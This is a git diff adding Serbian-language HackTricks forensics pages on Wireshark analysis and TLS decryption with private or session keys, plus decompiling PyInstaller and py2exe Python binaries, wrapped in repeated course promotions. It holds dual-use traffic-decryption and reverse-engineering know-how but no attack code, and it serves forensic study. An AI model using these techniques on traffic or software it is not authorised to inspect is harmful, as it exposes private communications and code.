* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,181 @@
|
||||||
|
# Trikovi za Wireshark
|
||||||
|
|
||||||
|
## Trikovi za Wireshark
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Unapredite svoje veštine u Wireshark-u
|
||||||
|
|
||||||
|
### Tutorijali
|
||||||
|
|
||||||
|
Sledeći tutorijali su sjajni za učenje nekih cool osnovnih trikova:
|
||||||
|
|
||||||
|
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||||
|
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||||
|
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
|
||||||
|
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
|
||||||
|
|
||||||
|
### Analizirane informacije
|
||||||
|
|
||||||
|
**Ekspertne informacije**
|
||||||
|
|
||||||
|
Klikom na _**Analyze** --> **Expert Information**_ dobićete **pregled** onoga što se dešava u analiziranim paketima:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (570).png>)
|
||||||
|
|
||||||
|
**Rešene adrese**
|
||||||
|
|
||||||
|
Pod _**Statistics --> Resolved Addresses**_ možete pronaći nekoliko **informacija** koje je wireshark "**rešio**" kao što su port/transport u protokol, MAC adresa proizvođača, itd. Korisno je znati šta je uključeno u komunikaciju.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (571).png>)
|
||||||
|
|
||||||
|
**Hijerarhija protokola**
|
||||||
|
|
||||||
|
Pod _**Statistics --> Protocol Hierarchy**_ možete pronaći **protokole** koji su uključeni u komunikaciju i podatke o njima.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (572).png>)
|
||||||
|
|
||||||
|
**Konverzacije**
|
||||||
|
|
||||||
|
Pod _**Statistics --> Conversations**_ možete pronaći **rezime konverzacija** u komunikaciji i podatke o njima.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (573).png>)
|
||||||
|
|
||||||
|
**Krajnje tačke**
|
||||||
|
|
||||||
|
Pod _**Statistics --> Endpoints**_ možete pronaći **rezime krajnjih tačaka** u komunikaciji i podatke o svakoj od njih.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (575).png>)
|
||||||
|
|
||||||
|
**DNS informacije**
|
||||||
|
|
||||||
|
Pod _**Statistics --> DNS**_ možete pronaći statistike o uhvaćenim DNS zahtevima.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (577).png>)
|
||||||
|
|
||||||
|
**I/O Grafikon**
|
||||||
|
|
||||||
|
Pod _**Statistics --> I/O Graph**_ možete pronaći **grafikon komunikacije**.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (574).png>)
|
||||||
|
|
||||||
|
### Filteri
|
||||||
|
|
||||||
|
Ovde možete pronaći Wireshark filtere u zavisnosti od protokola: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||||
|
Drugi interesantni filteri:
|
||||||
|
|
||||||
|
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||||
|
* HTTP i početni HTTPS saobraćaj
|
||||||
|
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||||
|
* HTTP i početni HTTPS saobraćaj + TCP SYN
|
||||||
|
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
|
||||||
|
* HTTP i početni HTTPS saobraćaj + TCP SYN + DNS zahtevi
|
||||||
|
|
||||||
|
### Pretraga
|
||||||
|
|
||||||
|
Ako želite da **pretražujete** **sadržaj** unutar **paketa** sesija pritisnite _CTRL+f_. Možete dodati nove slojeve u glavnu traku informacija (No., Vreme, Izvor, itd.) pritiskom na desno dugme, a zatim na dugme za uređivanje kolone.
|
||||||
|
|
||||||
|
### Besplatni pcap labovi
|
||||||
|
|
||||||
|
**Vežbajte sa besplatnim izazovima na: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
|
||||||
|
|
||||||
|
## Identifikacija domena
|
||||||
|
|
||||||
|
Možete dodati kolonu koja prikazuje Host HTTP zaglavlje:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (403).png>)
|
||||||
|
|
||||||
|
I kolonu koja dodaje ime servera iz inicijalne HTTPS veze (**ssl.handshake.type == 1**):
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||||
|
|
||||||
|
## Identifikacija lokalnih imena hostova
|
||||||
|
|
||||||
|
### Iz DHCP-a
|
||||||
|
|
||||||
|
U trenutnom Wireshark-u umesto `bootp` trebate pretražiti `DHCP`
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (404).png>)
|
||||||
|
|
||||||
|
### Iz NBNS-a
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (405).png>)
|
||||||
|
|
||||||
|
## Dekriptovanje TLS-a
|
||||||
|
|
||||||
|
### Dekriptovanje https saobraćaja sa privatnim ključem servera
|
||||||
|
|
||||||
|
_edit>preference>protocol>ssl>_
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (98).png>)
|
||||||
|
|
||||||
|
Pritisnite _Edit_ i dodajte sve podatke o serveru i privatnom ključu (_IP, Port, Protocol, Key file i password_)
|
||||||
|
|
||||||
|
### Dekriptovanje https saobraćaja sa simetričnim sesijskim ključevima
|
||||||
|
|
||||||
|
i Firefox i Chrome imaju mogućnost beleženja TLS sesijskih ključeva, koji se mogu koristiti sa Wireshark-om za dekriptovanje TLS saobraćaja. Ovo omogućava detaljnu analizu sigurne komunikacije. Više detalja o tome kako izvršiti ovo dekriptovanje možete pronaći u vodiču na [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||||
|
|
||||||
|
Da biste ovo otkrili, pretražite okruženje za promenljivu `SSLKEYLOGFILE`
|
||||||
|
|
||||||
|
Fajl sa deljenim ključevima će izgledati ovako:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (99).png>)
|
||||||
|
|
||||||
|
Da biste uvezli ovo u wireshark idite na \_edit > preference > protocol > ssl > i uvezite ga u (Pre)-Master-Secret log filename:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (100).png>)
|
||||||
|
|
||||||
|
## ADB komunikacija
|
||||||
|
|
||||||
|
Izvucite APK iz ADB komunikacije gde je APK poslat:
|
||||||
|
```python
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
|
pcap = rdpcap("final2.pcapng")
|
||||||
|
|
||||||
|
def rm_data(data):
|
||||||
|
splitted = data.split(b"DATA")
|
||||||
|
if len(splitted) == 1:
|
||||||
|
return data
|
||||||
|
else:
|
||||||
|
return splitted[0]+splitted[1][4:]
|
||||||
|
|
||||||
|
all_bytes = b""
|
||||||
|
for pkt in pcap:
|
||||||
|
if Raw in pkt:
|
||||||
|
a = pkt[Raw]
|
||||||
|
if b"WRTE" == bytes(a)[:4]:
|
||||||
|
all_bytes += rm_data(bytes(a)[24:])
|
||||||
|
else:
|
||||||
|
all_bytes += rm_data(bytes(a))
|
||||||
|
print(all_bytes)
|
||||||
|
|
||||||
|
f = open('all_bytes.data', 'w+b')
|
||||||
|
f.write(all_bytes)
|
||||||
|
f.close()
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,236 @@
|
||||||
|
# Dekompilacija kompajliranih Python binarnih fajlova (exe, elf) - Dobijanje iz .pyc
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||||
|
|
||||||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
## Od Kompajliranog Binarnog Fajla do .pyc
|
||||||
|
|
||||||
|
Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa:
|
||||||
|
```bash
|
||||||
|
pyi-archive_viewer <binary>
|
||||||
|
# The list of python modules will be given here:
|
||||||
|
[(0, 230, 311, 1, 'm', 'struct'),
|
||||||
|
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||||
|
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||||
|
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||||
|
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||||
|
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||||
|
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||||
|
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||||
|
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||||
|
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||||
|
...
|
||||||
|
|
||||||
|
? X binary_name
|
||||||
|
to filename? /tmp/binary.pyc
|
||||||
|
```
|
||||||
|
U **python exe binarnom** fajlu možete **dobiti .pyc** pokretanjem:
|
||||||
|
```bash
|
||||||
|
python pyinstxtractor.py executable.exe
|
||||||
|
```
|
||||||
|
## Od .pyc do python koda
|
||||||
|
|
||||||
|
Za **.pyc** podatke ("kompajlirani" python) trebalo bi da počnete sa pokušajem **izvlačenja** **originalnog** **python** **koda**:
|
||||||
|
```bash
|
||||||
|
uncompyle6 binary.pyc > decompiled.py
|
||||||
|
```
|
||||||
|
**Proverite** da li binarni fajl ima **ekstenziju** "**.pyc**" (ako nema, **uncompyle6** neće raditi)
|
||||||
|
|
||||||
|
Prilikom izvršavanja **uncompyle6** mogu se pojaviti **sljedeće greške**:
|
||||||
|
|
||||||
|
### Greška: Nepoznat broj magičnog broja 227
|
||||||
|
```bash
|
||||||
|
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||||
|
Unknown magic number 227 in /tmp/binary.pyc
|
||||||
|
```
|
||||||
|
Da biste to popravili, trebate **dodati tačan magični broj** na početak generisanog fajla.
|
||||||
|
|
||||||
|
**Magični brojevi variraju sa verzijom Python-a**, da biste dobili magični broj za **Python 3.8** trebaće vam da **otvorite Python 3.8** terminal i izvršite:
|
||||||
|
```
|
||||||
|
>> import imp
|
||||||
|
>> imp.get_magic().hex()
|
||||||
|
'550d0d0a'
|
||||||
|
```
|
||||||
|
**Magični broj** u ovom slučaju za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, moraćete **dodati** na **početak** **.pyc datoteke** sledeće bajtove: `0x0d550a0d000000000000000000000000`
|
||||||
|
|
||||||
|
**Kada** ste to **dodali**, greška bi trebalo da bude ispravljena.
|
||||||
|
|
||||||
|
Ovako će izgledati ispravno dodat **.pyc python3.8 magični zaglavlje**:
|
||||||
|
```bash
|
||||||
|
hexdump 'binary.pyc' | head
|
||||||
|
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||||
|
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
|
||||||
|
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||||
|
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||||
|
```
|
||||||
|
### Greška: Dekompilacija generičkih grešaka
|
||||||
|
|
||||||
|
**Druge greške** poput: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogu se pojaviti.
|
||||||
|
|
||||||
|
Ovo verovatno znači da **nisu pravilno dodati** magični brojevi ili da niste **koristili** **ispravan magični broj**, pa se uverite da koristite ispravan (ili pokušajte sa novim).
|
||||||
|
|
||||||
|
Proverite dokumentaciju prethodne greške.
|
||||||
|
|
||||||
|
## Automatski alat
|
||||||
|
|
||||||
|
Alat [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih zajednici, dizajniranih da pomognu istraživačima u raspakivanju i dekompilaciji izvršnih datoteka napisanih u Pythonu, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Pythonu i potvrđuje alat za kreiranje.
|
||||||
|
|
||||||
|
### ImportError: Naziv datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji
|
||||||
|
|
||||||
|
Čest problem koji se javlja uključuje nepotpunu Python bajt kod datoteku koja proizlazi iz **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, što onda **nije prepoznato od strane uncompyle6 zbog nedostajućeg broja verzije Python bajt koda**. Da biste rešili ovo, dodata je opcija prepend, koja dodaje neophodan broj verzije Python bajt koda, olakšavajući proces dekompilacije.
|
||||||
|
|
||||||
|
Primer problema:
|
||||||
|
```python
|
||||||
|
# Error when attempting to decompile without the prepend option
|
||||||
|
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||||
|
Traceback (most recent call last):
|
||||||
|
...
|
||||||
|
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||||
|
```
|
||||||
|
|
||||||
|
```python
|
||||||
|
# Successful decompilation after using the prepend option
|
||||||
|
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||||
|
[*] On Python 2.7
|
||||||
|
[+] Magic bytes are already appended.
|
||||||
|
|
||||||
|
# Successfully decompiled file
|
||||||
|
[+] Successfully decompiled.
|
||||||
|
```
|
||||||
|
## Analiza python asemblažnog koda
|
||||||
|
|
||||||
|
Ako niste uspeli da izvučete "originalni" Python kod prateći prethodne korake, možete pokušati da **izvučete** asemblažni kod (ali **nije vrlo opisan**, pa pokušajte ponovo da izvučete **originalni kod**). Na [ovom linku](https://bits.theorem.co/protecting-a-python-codebase/) pronašao sam veoma jednostavan kod za **raspakivanje** _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ fajl iz Python 2, koristite Python 2:
|
||||||
|
```bash
|
||||||
|
>>> import dis
|
||||||
|
>>> import marshal
|
||||||
|
>>> import struct
|
||||||
|
>>> import imp
|
||||||
|
>>>
|
||||||
|
>>> with open('hello.pyc', 'r') as f: # Read the binary file
|
||||||
|
... magic = f.read(4)
|
||||||
|
... timestamp = f.read(4)
|
||||||
|
... code = f.read()
|
||||||
|
...
|
||||||
|
>>>
|
||||||
|
>>> # Unpack the structured content and un-marshal the code
|
||||||
|
>>> magic = struct.unpack('<H', magic[:2])
|
||||||
|
>>> timestamp = struct.unpack('<I', timestamp)
|
||||||
|
>>> code = marshal.loads(code)
|
||||||
|
>>> magic, timestamp, code
|
||||||
|
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
|
||||||
|
>>>
|
||||||
|
>>> # Verify if the magic number corresponds with the current python version
|
||||||
|
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
|
||||||
|
True
|
||||||
|
>>>
|
||||||
|
>>> # Disassemble the code object
|
||||||
|
>>> dis.disassemble(code)
|
||||||
|
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||||
|
3 MAKE_FUNCTION 0
|
||||||
|
6 STORE_NAME 0 (hello_world)
|
||||||
|
9 LOAD_CONST 1 (None)
|
||||||
|
12 RETURN_VALUE
|
||||||
|
>>>
|
||||||
|
>>> # Also disassemble that const being loaded (our function)
|
||||||
|
>>> dis.disassemble(code.co_consts[0])
|
||||||
|
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||||
|
3 LOAD_ATTR 0 (format)
|
||||||
|
6 LOAD_FAST 0 (name)
|
||||||
|
9 CALL_FUNCTION 1
|
||||||
|
12 PRINT_ITEM
|
||||||
|
13 PRINT_NEWLINE
|
||||||
|
14 LOAD_CONST 0 (None)
|
||||||
|
17 RETURN_VALUE
|
||||||
|
```
|
||||||
|
## Python u izvršni fajl
|
||||||
|
|
||||||
|
Da bismo počeli, pokazaćemo vam kako se payloadi mogu kompajlovati u py2exe i PyInstaller-u.
|
||||||
|
|
||||||
|
### Za kreiranje payloada korišćenjem py2exe:
|
||||||
|
|
||||||
|
1. Instalirajte paket py2exe sa [http://www.py2exe.org/](http://www.py2exe.org)
|
||||||
|
2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu poput one u Figuri 1. Opcija "bundle\_files" sa vrednošću 1 će uključiti sve, uključujući i Python interpretera, u jedan exe fajl.
|
||||||
|
3. Kada je skripta spremna, izdaćemo komandu "python setup.py py2exe". Ovo će kreirati izvršni fajl, baš kao na slici 2.
|
||||||
|
```python
|
||||||
|
from distutils.core import setup
|
||||||
|
import py2exe, sys, os
|
||||||
|
|
||||||
|
sys.argv.append('py2exe')
|
||||||
|
|
||||||
|
setup(
|
||||||
|
options = {'py2exe': {'bundle_files': 1}},
|
||||||
|
#windows = [{'script': "hello.py"}],
|
||||||
|
console = [{'script': "hello.py"}],
|
||||||
|
zipfile = None,
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
C:\Users\test\Desktop\test>python setup.py py2exe
|
||||||
|
running py2exe
|
||||||
|
*** searching for required modules ***
|
||||||
|
*** parsing results ***
|
||||||
|
*** finding dlls needed ***
|
||||||
|
*** create binaries ***
|
||||||
|
*** byte compile python files ***
|
||||||
|
*** copy extensions ***
|
||||||
|
*** copy dlls ***
|
||||||
|
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
|
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
|
```
|
||||||
|
### Kako napraviti payload koristeći PyInstaller:
|
||||||
|
|
||||||
|
1. Instalirajte PyInstaller pomoću pip-a (pip install pyinstaller).
|
||||||
|
2. Nakon toga, izdaćemo komandu "pyinstaller --onefile hello.py" (napomena da je 'hello.py' naš payload). Ovo će sve upakovati u jedan izvršni fajl.
|
||||||
|
```
|
||||||
|
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||||
|
108 INFO: PyInstaller: 3.3.1
|
||||||
|
108 INFO: Python: 2.7.14
|
||||||
|
108 INFO: Platform: Windows-10-10.0.16299
|
||||||
|
………………………………
|
||||||
|
5967 INFO: checking EXE
|
||||||
|
5967 INFO: Building EXE because out00-EXE.toc is non existent
|
||||||
|
5982 INFO: Building EXE from out00-EXE.toc
|
||||||
|
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
|
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||||
|
```
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
**Savet o nagradi za otkrivanje grešaka**: **Prijavite se** za **Intigriti**, premijum **platformu za otkrivanje grešaka kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||||
|
|
||||||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,52 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Ovde možete pronaći interesantne trikove za specifične tipove fajlova i/ili softvere:
|
||||||
|
|
||||||
|
{% page-ref page=".pyc.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="browser-artifacts.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="desofuscation-vbs-cscript.exe.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="local-cloud-storage.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="office-file-analysis.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="pdf-file-analysis.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="png-tricks.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||||
|
|
||||||
|
{% page-ref page="zips-tricks.md" %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,198 @@
|
||||||
|
# Browser Artifacts
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
